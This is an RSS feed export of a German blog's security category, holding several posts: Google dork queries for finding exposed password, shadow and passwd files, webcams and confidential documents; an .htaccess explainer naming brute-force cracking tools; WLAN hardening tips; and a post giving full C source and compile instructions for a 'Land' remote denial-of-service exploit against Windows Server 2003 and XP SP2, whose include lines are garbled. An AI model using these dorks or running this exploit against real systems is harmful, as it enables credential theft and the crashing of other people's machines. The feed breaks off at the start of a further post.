<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Information Knowledge Database &#187; Security Informations</title>
	<atom:link href="http://blog.danielschroeter.de/category/security-informations/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.danielschroeter.de</link>
	<description>blog.danielschroeter.de - my knowledge is YOUR knowledge</description>
	<lastBuildDate>Sun, 25 Jul 2010 13:26:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Google such Codes</title>
		<link>http://blog.danielschroeter.de/security-informations/google-such-codes/</link>
		<comments>http://blog.danielschroeter.de/security-informations/google-such-codes/#comments</comments>
		<pubDate>Mon, 14 Dec 2009 18:06:24 +0000</pubDate>
		<dc:creator>Daniel</dc:creator>
				<category><![CDATA[Informatives]]></category>
		<category><![CDATA[Security Informations]]></category>
		<category><![CDATA[anzeigen von gesperrten verzeichnissen]]></category>
		<category><![CDATA[google codes]]></category>
		<category><![CDATA[google such codes]]></category>
		<category><![CDATA[google such Tipps]]></category>
		<category><![CDATA[google tipps]]></category>
		<category><![CDATA[nach geheimen dokumenten suchen]]></category>
		<category><![CDATA[nach mail server suchen]]></category>
		<category><![CDATA[nach mp3 suchen]]></category>
		<category><![CDATA[nach passwörtern suchen]]></category>
		<category><![CDATA[nach videos suchen]]></category>
		<category><![CDATA[suchen von servern]]></category>
		<category><![CDATA[webcams finden]]></category>

		<guid isPermaLink="false">http://blog.danielschroeter.de/?p=356</guid>
		<description><![CDATA[Nach mp3 Dateien suchen: Code: &#8220;Index of /&#8221; +MP3 Bsp: &#8220;Index of /&#8221; +MP3 &#8220;Madonna&#8221; Nach Video Dateien suchen: Code: &#8220;Index of /&#8221; +Videos oder &#8220;Index of /&#8221; +Moviez Bsp: &#8220;Index of +avi Nach Passwörter suchen: Code: intitle:”index of” +etc filetype:dat “password.dat” filetype:ini +ws_ftp +pwd filetype:log inurl:”password.log” Bsp: intitle:Index.of etc shadow intitle:”Index of..etc” passwd Nach [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Nach mp3 Dateien suchen:</strong><br />
Code:<br />
&#8220;Index of /&#8221; +MP3</p>
<p>Bsp:<br />
&#8220;Index of /&#8221; +MP3 &#8220;Madonna&#8221;</p>
<p><strong>Nach Video Dateien suchen:</strong></p>
<p>Code:<br />
&#8220;Index of /&#8221; +Videos<br />
oder<br />
&#8220;Index of /&#8221; +Moviez</p>
<p>Bsp:<br />
&#8220;Index of +avi</p>
<p><strong>Nach Passwörter suchen:</strong></p>
<p>Code:<br />
intitle:”index of” +etc<br />
filetype:dat “password.dat”<br />
filetype:ini +ws_ftp +pwd<br />
filetype:log inurl:”password.log”</p>
<p>Bsp:<br />
intitle:Index.of etc shadow<br />
intitle:”Index of..etc” passwd</p>
<p><strong>Nach eMail-Server suchen:</strong></p>
<p>Code:<br />
&#8220;adding new user&#8221;</p>
<p>Bsp:<br />
inurl:&#8221;addnewuser&#8221;</p>
<p><strong>nach Geheimen Dokumenten suchen:</strong></p>
<p>Code:<br />
ext:doc confidential<br />
&#8220;   &#8220;   &#8220;   &#8220;   &#8220;   &#8221;</p>
<p>Bsp:<br />
ext:doc confidential &#8220;geheim&#8221;<br />
geht auch mit: doc xlc txt ppt</p>
<p><strong>Fax- Druckserver finden:</strong></p>
<p>Code:<br />
intitle:&#8221;Home&#8221; &#8220;Xerox Corporation&#8221; &#8220;Refresh Status&#8221;</p>
<p><strong>Webcam´s finden:</strong><br />
Code:<br />
intitle:&#8221;my WebcamXP server!&#8221; inurl:&#8221;:8080&#8243;</p>
<p><strong>Anzeigen von gesperrten Verzeichnissen: </strong><br />
Code:<br />
ext:txt robots</p>
<p>Bsp:<br />
ext:txt robots ebay</p>
<p><strong>Nach Chat Logs suchen</strong>:<br />
Code:<br />
&#8220;index of&#8221; / &#8220;chat/logs&#8221;</p>
<p><strong>Weitere Google Tipps</strong></p>
<p>Mit filetype lassen sich bestimmte Dateitypen finden. Bsp: filetype:txt<br />
Mit + lassen sich alle Webseiten finden, die ein bestimmtes Wort enthalten. Bsp: +FBI +Agent<br />
Mit &#8211; werden nur Seiten gefunden, die ein bestimmtes Wort nicht enthalten. Bsp: -public –user<br />
Per Intitle: lässt sich das &lt;title&gt; tag durchsuchen. Bsp: intitle:index<br />
Mit intext: findet man bestimmte Wörter auf einer Webseite. Bsp: intext:Hacker<br />
Über inurl: lassen sich Wörter in einer URL festlegen. Bsp: inurl:etc inurl:bin<br />
Mit site: kann man auf bestimmten Domains suchen. Bsp: site:com site:de<br />
Mit “” lassen sich aufeinander folgende Wörter suchen. Bsp: “index of”</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.danielschroeter.de/security-informations/google-such-codes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Hacking Tutorial</title>
		<link>http://blog.danielschroeter.de/security-informations/google-hacking-tutorial/</link>
		<comments>http://blog.danielschroeter.de/security-informations/google-hacking-tutorial/#comments</comments>
		<pubDate>Thu, 04 Sep 2008 09:04:57 +0000</pubDate>
		<dc:creator>Daniel</dc:creator>
				<category><![CDATA[Security Informations]]></category>

		<guid isPermaLink="false">http://www.danielschroeter.de/blog/?p=173</guid>
		<description><![CDATA[#1. Vorwort #2. Wie funktioniert Google? #3. Einige wichtige Befehle #4. Richtige Kombination #5. Passwörter suchen und finden #6. Web Server Detection #7. Weitere sensible Daten #8. Quellen #1. Vorwort #2. Wie funktioniert Google? Google ist zu nächst mal eine voll automatische Suchmaschine, die mit Hilfe von so genannten Spidern (Webcrawler/Suchrobotern), das gesamte Web durchsucht [...]]]></description>
			<content:encoded><![CDATA[<p>#1. Vorwort<br />
#2. Wie funktioniert Google?<br />
#3. Einige wichtige Befehle<br />
#4. Richtige Kombination<br />
#5. Passwörter suchen und finden<br />
#6. Web Server Detection<br />
#7. Weitere sensible Daten<br />
#8. Quellen<br />
#1. Vorwort</p>
<p>#2. Wie funktioniert Google?<br />
Google ist zu nächst mal eine voll automatische Suchmaschine, die mit Hilfe von so<br />
genannten Spidern (Webcrawler/Suchrobotern), das<br />
gesamte Web durchsucht und die gefunden Websites indiziert. D.h. es ist eigentlich nicht<br />
mal notwendig seine Website bei Google anzumelden, die Suchrobots werden sie früher<br />
oder später sowieso finden.</p>
<p>#3. Einige wichtige Befehle<br />
Bevor wir gleich zum “Google hacking” übergehen einige wichtige Befehle, die man in<br />
seinem Google Query nutzen kann.<br />
filetype:<br />
Mit filetype lassen sich bestimmte Dateitypen finden.<br />
Bsp: filetype:txt<br />
+<br />
Mit + lassen sich alle Webseiten finden, die ein bestimmtes Wort enthalten.<br />
Bsp: +FBI +Agent<br />
-<br />
Mit &#8211; werden nur Seiten gefunden, die ein bestimmtes Wort nicht enthalten.<br />
Bsp: -public –user<br />
intitle:<br />
Per Intitle: lässt sich das &lt;title&gt; tag durchsuchen.<br />
Bsp: intitle:index<br />
intext:<br />
Mit intext: findet man bestimmte Wörter auf einer Webseite.<br />
Bsp: intext:Hacker<br />
inurl:<br />
Über inurl: lassen sich Wörter in einer URL festlegen.<br />
Bsp: inurl:etc inurl:bin<br />
site:<br />
Mit site: kann man auf bestimmten Domains suchen.<br />
Bsp: site:com site:de<br />
“”<br />
Mit “” lassen sich aufeinander folgende Wörter suchen.<br />
Bsp: “index of”</p>
<p>#4. Richtige Kombination<br />
Das die oben genannten Befehle alleine nicht viel bringen dürfte klar sein, also müssen<br />
wir kombinieren.<br />
Bsp:<br />
intitle:”index of” +etc<br />
Über solche Ergebnisse kann man sich nur wundern!<br />
Warum gibt es immer noch Systeme auf denen man ohne Probleme sich über Google, die<br />
passwd anschauen kann? Für potenzielle Cracker sind solche Umstände ein El Dorado.<br />
Achtung: Viele vermeintliche, für Google Hacking anfällige Systeme könnten auch sog.<br />
Honeypots sein (http://ghh.sourceforge.net/).<br />
„Als ein Honeypot (deutsche Übersetzung: Honigtopf) wird ein Programm (oder ein<br />
kompletter Server) bezeichnet, das die Aufgabe hat, Angriffe in einem Netzwerk auf sich<br />
zu ziehen und Aktionen des Angreifers zu protokollieren.“</p>
<p>http://de.wikipedia.org/wiki/Honeypot</p>
<p>#5. Passwörter suchen und finden<br />
Mit Google lässt sich alles finden, auch oder geradezu Passwörter.<br />
Einige Beispiele:<br />
filetype:dat “password.dat”<br />
filetype:ini +ws_ftp +pwd<br />
filetype:log inurl:”password.log”<br />
intitle:Index.of etc shadow<br />
intitle:”Index of..etc” passwd</p>
<p>#6. Web Server Detection (Webserver Erkennung)<br />
Es ist dank Google kein Problem mehr Webserver zu identifizieren.<br />
Einige Beispiele:<br />
“Microsoft-IIS/5.0 server at”<br />
intitle:”Apache HTTP Server” intitle:”documentation”<br />
intitle:”Welcome to IIS 4.0″<br />
“powered by openbsd” +”powered by apache”</p>
<p>#7. Weitere sensible Daten in diversen Verzeichnissen<br />
Was man nicht so alles findet…<br />
Einige Beispiele:<br />
intitle:index.of.private<br />
intitle:index.of.secret<br />
intitle:”index.of.secure”</p>
<p>#8. Quellen</p>
<p>http://johnny.ihackstuff.com/</p>
<p>http://www.google.de/</p>
<p>http://de.wikipedia.org/</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.danielschroeter.de/security-informations/google-hacking-tutorial/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Liste mit allen Router-Standardpasswörtern</title>
		<link>http://blog.danielschroeter.de/security-informations/liste-mit-allen-router-standardpasswortern/</link>
		<comments>http://blog.danielschroeter.de/security-informations/liste-mit-allen-router-standardpasswortern/#comments</comments>
		<pubDate>Sat, 07 Jun 2008 16:40:38 +0000</pubDate>
		<dc:creator>Daniel</dc:creator>
				<category><![CDATA[Security Informations]]></category>
		<category><![CDATA[routerpws]]></category>
		<category><![CDATA[std routerpasswörtern]]></category>

		<guid isPermaLink="false">http://www.danielschroeter.de/blog/?p=171</guid>
		<description><![CDATA[Eine große Liste mit Standard Routerpasswörtern findet ihr: HIER]]></description>
			<content:encoded><![CDATA[<p>Eine große Liste mit Standard Routerpasswörtern findet ihr:</p>
<p><a href="http://www.danielschroeter.de/downloads/Stdrouterpws.html" target="_blank"><strong>HIER</strong></a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.danielschroeter.de/security-informations/liste-mit-allen-router-standardpasswortern/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Jotti&#8217;s malware scan ohne Wartezeit</title>
		<link>http://blog.danielschroeter.de/security-informations/jottis-malware-scan-ohne-wartezeit/</link>
		<comments>http://blog.danielschroeter.de/security-informations/jottis-malware-scan-ohne-wartezeit/#comments</comments>
		<pubDate>Fri, 06 Jun 2008 15:06:52 +0000</pubDate>
		<dc:creator>Daniel</dc:creator>
				<category><![CDATA[Security Informations]]></category>

		<guid isPermaLink="false">http://www.danielschroeter.de/blog/?p=168</guid>
		<description><![CDATA[Ihr kennt das sicher: jemand schickt euch eine Datei und ihr wollt sie auf Viren überprüfen. Ihr geht also auf http://virusscan.jotti.org/, da man dort Dateien kostenlos von vielen Scannern scannen lassen kann und die Ergebnisse schön übersichtlich geliefert bekommt. Allerdings gibt es einen Haken: die ewige Wartezeit, weil der Service ständig überlastet ist. Doch damit [...]]]></description>
			<content:encoded><![CDATA[<p>Ihr kennt das sicher: jemand schickt euch eine Datei und ihr wollt sie auf Viren überprüfen.</p>
<p>Ihr geht also auf http://virusscan.jotti.org/, da man dort Dateien kostenlos von vielen Scannern scannen lassen kann und die Ergebnisse schön übersichtlich geliefert bekommt. Allerdings gibt es einen Haken: die ewige Wartezeit, weil der Service ständig überlastet ist.</p>
<p>Doch damit ist nun Schluss, denn es gibt einen einfachen Weg, die Wartezeit zu umgehen:</p>
<form action="http://virusscan.jotti.org/" enctype="multipart/form-data" method="post">
<input name="scanfile" type="file" />
<input name="action" type="hidden" value="process" />
<input id="submitbutton" type="submit" value="Datei uploaden + scannen" /> </form>
<p>Nun öffnet ihr die Datei mit einem beliebigen Browser und öffnet die zu scannende Datei mithilfe des &#8220;Durchsuchen&#8230;&#8221;-Buttons und klickt auf &#8220;Datei uploaden + scannen&#8221;!</p>
<p>Die angegebene Datei wird dann ganz normal hochgeladen und gescannt!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.danielschroeter.de/security-informations/jottis-malware-scan-ohne-wartezeit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sicherheitstipps für WLAN</title>
		<link>http://blog.danielschroeter.de/security-informations/sicherheitstipps-fur-wlan/</link>
		<comments>http://blog.danielschroeter.de/security-informations/sicherheitstipps-fur-wlan/#comments</comments>
		<pubDate>Fri, 06 Jun 2008 14:45:52 +0000</pubDate>
		<dc:creator>Daniel</dc:creator>
				<category><![CDATA[Security Informations]]></category>

		<guid isPermaLink="false">http://www.danielschroeter.de/blog/?p=165</guid>
		<description><![CDATA[Es gibt viele Leute die sich einen Accesspoint kaufen, ihn an den Computer dranhängen, sich freuen das beim ersten Anlauf alles geklappt hat und sich danach nie wieder Gedanken darüber machen. Die wenigsten lesen sich das beiliegende Handbuch durch oder befassen sich mit den Sicherheitseinstellungen.. und genau das ist ein Fehler! Wenn keine Verschlüsselung aktiviert [...]]]></description>
			<content:encoded><![CDATA[<p><span class="postbody">Es gibt viele Leute die sich einen Accesspoint kaufen,<br />
ihn an den Computer dranhängen, sich freuen das beim ersten Anlauf<br />
alles geklappt hat und sich danach nie wieder Gedanken darüber machen.</p>
<p>Die wenigsten lesen sich das beiliegende Handbuch durch oder befassen sich mit<br />
den Sicherheitseinstellungen.. und genau das ist ein Fehler!</p>
<p>Wenn keine Verschlüsselung aktiviert wird kann zB der Nachbar falls er<br />
eine WLAN Karte besitzt sich problemlos dazuklinken und auf das Netzwerk des<br />
nebenan wohnenden zugreifenund zB auch auf Kosten dessen im Internet surfen.</p>
<p>Hier einige Möglichkeiten für mehr Sicherheit im eigenen WLAN:</p>
<p><strong> [1] &#8211; WEP </strong></p>
<p>Bietet begrenzten Schutz. WEP stellte sich als nicht besonders sicher herraus<br />
und es kursieren auch einge Programme (wie zB Airsnort, WEPCrack,..)<br />
im Internet mit denen man WEP-Keys knacken kann.</p>
<p>Dazu werden Datenpakete gesammelt und verglichen, Airsnort braucht dazu<br />
ca. 5-10 Millionen solcher Pakete!<br />
Die Dauer bis ein Angreifer diese Anzahl von Paketen hat hängt vom Traffic<br />
im WLAN ab und kann auch mehrere Tage dauern, dem Nachbar wärs aber sicher egal ;p</p>
<p>WEP arbeitet mit einem Shared-Key welcher für Verschlüsselung und Authentifizierung<br />
zuständig ist. Aus dem Shared-Key und einem Initialisierungsvektor wird ein Wert<br />
zum verschlüsseln der Pakete gebildet. Die Initialisierungsvektoren werden<br />
im Klartext übertragen und es werden zu schwache Schlüssel basierend<br />
auf dem RC4-Algorithmus verwendet.</p>
<p>Verfügbar in der 40bit und in der 104bit Variante!<br />
(Obwohl auf der Verpackung warscheinlich 128bit und 64bit steht..)</p>
<p>12 23 45 68 90<br />
-<br />
12 34 56 78 90 12 34 56 78 90 12 34 56</p>
<p>Bei grösseren Wavelans sollte der WEP-Key regelmässig geändert werden!</p>
<p><strong> [2] &#8211; Default Passwörter </strong></p>
<p>Standard Administrations-Passwörter des Accesspoints ändern!<br />
Wir wollen ja nicht das jemand die Kontrolle des Accesspoints an sich reisst<br />
und ihn totkonfiguriert.. klingt albern, ist aber möglich!</p>
<p><strong> [3] &#8211; SSID </strong></p>
<p>Ändere die Default-SSID!<br />
Aber nicht in deinen Firmennamen, deine Adresse o.ä.<br />
Je unauffälliger desto besser!<br />
Es gibt auch Accesspoints bei welchen man die Broadcast SSID deaktivieren kann.<br />
Das ist auch um einiges sicherer denn so können sie nicht von allen WLAN-Sniffern<br />
erkannt werden. Netstumbler (welcher von vielen Wardrivern genutzt wird)<br />
wird das Wavelan jetzt nicht mehr als solches erkennen<br />
aber Tools welche im Monitormode arbeiten im Gegenteil dazu schon noch.<br />
(zB Kismet, Airopeek,..)</p>
<p><strong> [4] &#8211; MAC Filter/ Access Control List </strong></p>
<p>Eine weitere Schutzmaßnahme ist es das Netzwerk nur für gewisse MAC-Adressen<br />
zugänglich zu machen. Das wird einen Angreifer der rein will sicher nicht daran<br />
hindern denn die MAC-Adresse der miteinander kommunizierenden Rechner kann ermittelt<br />
und gespooft werden. Das bedeutet das sich der Angreifer seine MAC-Adresse<br />
in die des Computers im WLAN ändert und schon hat er zutritt. Jedoch kann ein Userlimit<br />
verwendet werden das die Anzahl der Clients festlegt welche mit dem Accesspoint<br />
verbunden sein können und keine weiteren Verbindungen zulässt.</p>
<p><strong> [5] &#8211; WEPplus, WEP2/TKIP, 802.11i, &#8230; </strong></p>
<p>Update von WEP auf WEPplus(Agere),.. oder einer anderen neuen Sicherheitsmaßnahme<br />
in welchem die oben besagten Schwachstellen beseitigt sind!<br />
Hängt aber ganz vom gekauften Produkt ab ob der Hersteller Updates<br />
zu den neuen Sicherheits-Verfahren zur Verfügung stellt oder nicht.<br />
Und all diese neuen Protokolle sind meist nur mit Produkten der selben Firma<br />
kompatibel. Das heisst man braucht also Accesspoint und Wavelan Karte<br />
vom selben Hersteller ansonsten ist es zwecklos.<br />
Aber am besten gleich einen Accesspoint und die dazugehörige Karte mit<br />
der entsprechenden Schutzmaßnahme kaufen, so erspart man sich einiges..</p>
<p>Die Anfangs als WEP-Nachfolger geplante Sicherheitsmassnahme WPA ist wie sich<br />
herausstellte fast genauso unbrauchbar und WEP.<br />
Mehr Infos und einen detailierten Bericht gibts hier:<br />
<a href="http://www.golem.de/0311/28361.html" target="_blank">http://www.golem.de/0311/28361.html</a><br />
<a href="http://wifinetnews.com/archives/002452.html" target="_blank">http://wifinetnews.com/archives/002452.html</a></p>
<p><strong> [6] &#8211; VPN </strong></p>
<p>Die einzig wirklich sichere Maßnahme zum Schutz eines 802.11b Wavelans heisst VPN.<br />
Zu empfehlen ist es sich einen VPN-Router mit IPsec anzuschaffen!<br />
Sehr gut soll der Linksys BEFSX41 sein.<br />
Bei einem VPN Router wird der gesamte Datenverkehr über einen VPN-Tunnel gesendet<br />
welcher nichts nach aussen lässt und somit auch so gut wie keine Chancen für Angreifer bietet.<br />
Weiters gibt es noch die Möglichkeit im VPN statt IPSec SSL einzusetzen<br />
bleibt dann ganz dem Benutzer selbst überlassen.<br />
Für genauere Auskünfte über aktuelle Produkte am besten bei einem Fachhändler nachfragen.</span></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.danielschroeter.de/security-informations/sicherheitstipps-fur-wlan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rund ums .htaccess</title>
		<link>http://blog.danielschroeter.de/security-informations/rund-ums-htaccess/</link>
		<comments>http://blog.danielschroeter.de/security-informations/rund-ums-htaccess/#comments</comments>
		<pubDate>Fri, 06 Jun 2008 14:08:25 +0000</pubDate>
		<dc:creator>Daniel</dc:creator>
				<category><![CDATA[Security Informations]]></category>

		<guid isPermaLink="false">http://www.danielschroeter.de/blog/?p=163</guid>
		<description><![CDATA[Einführung Dieses Passwort-Abfrage-System wurde ursprünglich von Apache-Servern eingesetzt, und konnte sich mittlerweile auf allen Serversystemen etablieren. Er bietet einen recht guten Schutz, und wird deshalb oft auf gebührenpflichtigen Seiten mit pornographischem Inhalt benutzt. Eine Website, die HTACCESS einsetzt, ist daran zu erkennen, dass bei betreten des Mitgliedsbereichs ein Popup-Dialog erscheint (nicht durch ein JavaScript generiert). [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Einführung</strong></p>
<p>Dieses Passwort-Abfrage-System wurde ursprünglich von Apache-Servern eingesetzt, und konnte sich mittlerweile auf allen Serversystemen etablieren. Er bietet einen recht guten Schutz, und wird deshalb oft auf gebührenpflichtigen Seiten mit pornographischem Inhalt benutzt. Eine Website, die HTACCESS einsetzt, ist daran zu erkennen, dass bei betreten des Mitgliedsbereichs ein Popup-Dialog erscheint (nicht durch ein JavaScript generiert).</p>
<p><strong>Der Aufbau von .HTACCESS-Dateien</strong></p>
<p>In dem zu schützenden Verzeichnis ist eine Datei mit dem Namen .htaccess enthalten, welches für die Verwaltung der Passwörter zuständig ist: Wo liegen die Passwörter? Wie muss das Verzeichnis geschützt werden?</p>
<p>Ein .htaccess-File sieht mit einem Texteditor betrachtet so aus:</p>
<p>AuthUserFile /usr/home/meindir/passwd<br />
AuthName Members<br />
AuthType Basic</p>
<p>require valid-user</p>
<p>Aus dieser Datei ist nun ersichtlich, dass die Passwörter in der Datei passwd gespeichert werden, welche sich in meinem Home-Directory befindet. Sicherheitshalber sollte das Passwort-File nicht in der Nähe der HTML-Dokumente liegen, da dadurch ein Zugriff via WWW verunmöglicht wird. Bei der AuthName-Zeile ist der Titel der Dialogbox ersichtlich: Der zu schützende Bereich wird den Namen Members tragen. Das interessante am HTACCESS-Schutz ist, dass durch das HTACCESS-File automatisch auch alle Unterverzeichnisse unterhalb des Verzeichnisses, in dem sich die HTACCESS-Datei befindet, mitgeschützt sind.</p>
<p><strong>Der Aufbau einer Passwort-Datei</strong></p>
<p>Wie sieht nun die Passwort-Datei selber aus? Im Folgenden eine mögliche Passwort-Datei:</p>
<p>Prometheus:jnjQcF1WWpn8w<br />
Manson:EqiRz2/cDdTjw<br />
Rieekan:hGaVqYhVIi9ek</p>
<p>Für jedes Mitglied enthält die Passwortdatei eine Zeile, die aus zwei Teilen besteht, die durch einen Doppelpunkt getrennt sind, wie man es von den passwd-Dateien von Unix-Systemen her kennt. Der erste Teil ist der Login-Name, der zweite Teil enthält das Passwort in verschlüsselter Form. Diese Verschlüsselung ist sehr sicher. Sie ist maschinenspezifisch, und durch eine Falltürfunktion generiert worden. Das heisst, dass selbst wenn man diese Passwortdatei in die Finger bekommen würde, könnte man aus den verschlüsselten Passwörtern nicht die wirklichen Passwörter zurückberechnen. Bei der Passworteingabe wird das Passwort durch die Unix-Systemfunktion &#8220;crypt&#8221; kodiert und mit dem in der Passwortdatei abgelegten verschlüsselten Passwort verglichen. Ist es gleich, so ist der Login ok.</p>
<p><strong>Angriffsmöglichkeiten</strong></p>
<p>HTACCESS-Abfragen sind meist nur mit einer Brute-Force-Attacke knackbar. Das beste Tool für solche Zwecke ist mit Sicherheit UnSecure, wobei WWWHack mir auch schon gute Dienste leisten konnte.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.danielschroeter.de/security-informations/rund-ums-htaccess/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Windows Server 2003 and XP SP2 Remote DoS Exploit</title>
		<link>http://blog.danielschroeter.de/security-informations/windows-server-2003-and-xp-sp2-remote-dos-exploit-2/</link>
		<comments>http://blog.danielschroeter.de/security-informations/windows-server-2003-and-xp-sp2-remote-dos-exploit-2/#comments</comments>
		<pubDate>Fri, 06 Jun 2008 14:06:15 +0000</pubDate>
		<dc:creator>Daniel</dc:creator>
				<category><![CDATA[Security Informations]]></category>

		<guid isPermaLink="false">http://www.danielschroeter.de/blog/?p=162</guid>
		<description><![CDATA[&#8230;Is gar nicht so schwer wie es aussieht&#8230; :&#62; Alles was wir machen müssen ist diese zeile #define _BSD_SOURCE über Include setzten. Und fertig is unser Land Exploit, jetzt nur noch mit gcc exploit.c –o land compilieren. #include #include #include #include #include #include #include #include #include #include #include /* Windows Server 2003 and XP SP2 [...]]]></description>
			<content:encoded><![CDATA[<p>&#8230;Is gar nicht so schwer wie es aussieht&#8230; :&gt;</p>
<p>Alles was wir machen müssen ist diese zeile #define _BSD_SOURCE über Include setzten.<br />
Und fertig is unser Land Exploit, jetzt nur noch mit gcc exploit.c –o land compilieren.</p>
<p>#include<br />
#include<br />
#include<br />
#include<br />
#include<br />
#include<br />
#include<br />
#include<br />
#include<br />
#include<br />
#include</p>
<p>/*<br />
Windows Server 2003 and XP SP2 remote DoS exploit<br />
Tested under OpenBSD 3.6 at WinXP SP 2<br />
Vuln by Dejan Levaja<br />
(c)oded by __blf 2005 RusH Security Team , http://rst.void.ru<br />
Gr33tz: zZz, Phoenix, MishaSt, Inck-vizitor<br />
Fuck lamerz: Saint_I, nmalykh, Mr. Clumsy<br />
All rights reserved.<br />
*/</p>
<p>//checksum function by r0ach<br />
u_short checksum (u_short *addr, int len)<br />
{<br />
u_short *w = addr;<br />
int i = len;<br />
int sum = 0;<br />
u_short answer;<br />
while (i &gt; 0)<br />
{<br />
sum += *w++;<br />
i-=2;<br />
}<br />
if (i == 1) sum += *(u_char *)w;<br />
sum = (sum &gt;&gt; 16) + (sum &amp; 0xffff);<br />
sum = sum + (sum &gt;&gt; 16);<br />
return (~sum);<br />
}<br />
int main(int argc, char ** argv)<br />
{<br />
struct in_addr src, dst;<br />
struct sockaddr_in sin;<br />
struct _pseudoheader {<br />
struct in_addr source_addr;<br />
struct in_addr destination_addr;<br />
u_char zero;<br />
u_char protocol;<br />
u_short length;<br />
} pseudoheader;<br />
struct ip * iph;<br />
struct tcphdr * tcph;<br />
int mysock;<br />
u_char * packet;<br />
u_char * pseudopacket;<br />
int on = 1;<br />
if( argc != 3)<br />
{<br />
fprintf(stderr, &#8220;r57windos.c by __blf\n&#8221;);<br />
fprintf(stderr, &#8220;RusH Security Team\n&#8221;);<br />
fprintf(stderr, &#8220;Usage: %s  \n&#8221;, argv[0]);<br />
return EX_USAGE;<br />
}<br />
if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr))) == NULL)<br />
{<br />
perror(&#8220;malloc()\n&#8221;);<br />
return EX_OSERR;<br />
}<br />
inet_aton(argv[1], &amp;src);<br />
inet_aton(argv[1], &amp;dst);<br />
iph = (struct ip *) packet;<br />
iph-&gt;ip_v = IPVERSION;<br />
iph-&gt;ip_hl = 5;<br />
iph-&gt;ip_tos = 0;<br />
iph-&gt;ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr));<br />
iph-&gt;ip_off = htons(IP_DF);<br />
iph-&gt;ip_ttl = 255;<br />
iph-&gt;ip_p = IPPROTO_TCP;<br />
iph-&gt;ip_sum = 0;<br />
iph-&gt;ip_src = src;<br />
iph-&gt;ip_dst = dst;<br />
tcph = (struct tcphdr *)(packet +sizeof(struct ip));<br />
tcph-&gt;th_sport = htons(atoi(argv[2]));<br />
tcph-&gt;th_dport = htons(atoi(argv[2]));<br />
tcph-&gt;th_seq = ntohl(rand());<br />
tcph-&gt;th_ack = rand();<br />
tcph-&gt;th_off = 5;<br />
tcph-&gt;th_flags = TH_SYN; // setting up TCP SYN flag here<br />
tcph-&gt;th_win = htons(512);<br />
tcph-&gt;th_sum = 0;<br />
tcph-&gt;th_urp = 0;<br />
pseudoheader.source_addr = src;<br />
pseudoheader.destination_addr = dst;<br />
pseudoheader.zero = 0;<br />
pseudoheader.protocol = IPPROTO_TCP;<br />
pseudoheader.length = htons(sizeof(struct tcphdr));<br />
if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr))) == NULL)<br />
{<br />
perror(&#8220;malloc()\n&#8221;);<br />
return EX_OSERR;<br />
}<br />
memcpy(pseudopacket, &amp;pseudoheader, sizeof(pseudoheader));<br />
memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr));<br />
tcph-&gt;th_sum = checksum((u_short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr));<br />
mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);<br />
if(!mysock)<br />
{<br />
perror(&#8220;socket!\n&#8221;);<br />
return EX_OSERR;<br />
}<br />
if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;on, sizeof(on)) == -1)<br />
{<br />
perror(&#8220;setsockopt&#8221;);<br />
shutdown(mysock, 2);<br />
return EX_OSERR;<br />
}<br />
sin.sin_family = PF_INET;<br />
sin.sin_addr = dst;<br />
sin.sin_port = htons(80);<br />
if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr), 0,<br />
(struct sockaddr *)&amp;sin, sizeof(sin)) == -1)<br />
{<br />
perror(&#8220;sendto()\n&#8221;);<br />
shutdown(mysock, 2);<br />
return EX_OSERR;<br />
}<br />
printf(&#8220;Packet sent. Remote machine should be down.\n&#8221;);<br />
shutdown(mysock, 2);<br />
return EX_OK;<br />
}</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.danielschroeter.de/security-informations/windows-server-2003-and-xp-sp2-remote-dos-exploit-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Social Engineering &#8211; Risikofaktor Mensch</title>
		<link>http://blog.danielschroeter.de/security-informations/social-engineering-risikofaktor-mensch/</link>
		<comments>http://blog.danielschroeter.de/security-informations/social-engineering-risikofaktor-mensch/#comments</comments>
		<pubDate>Fri, 06 Jun 2008 14:01:16 +0000</pubDate>
		<dc:creator>Daniel</dc:creator>
				<category><![CDATA[Security Informations]]></category>

		<guid isPermaLink="false">http://www.danielschroeter.de/blog/?p=161</guid>
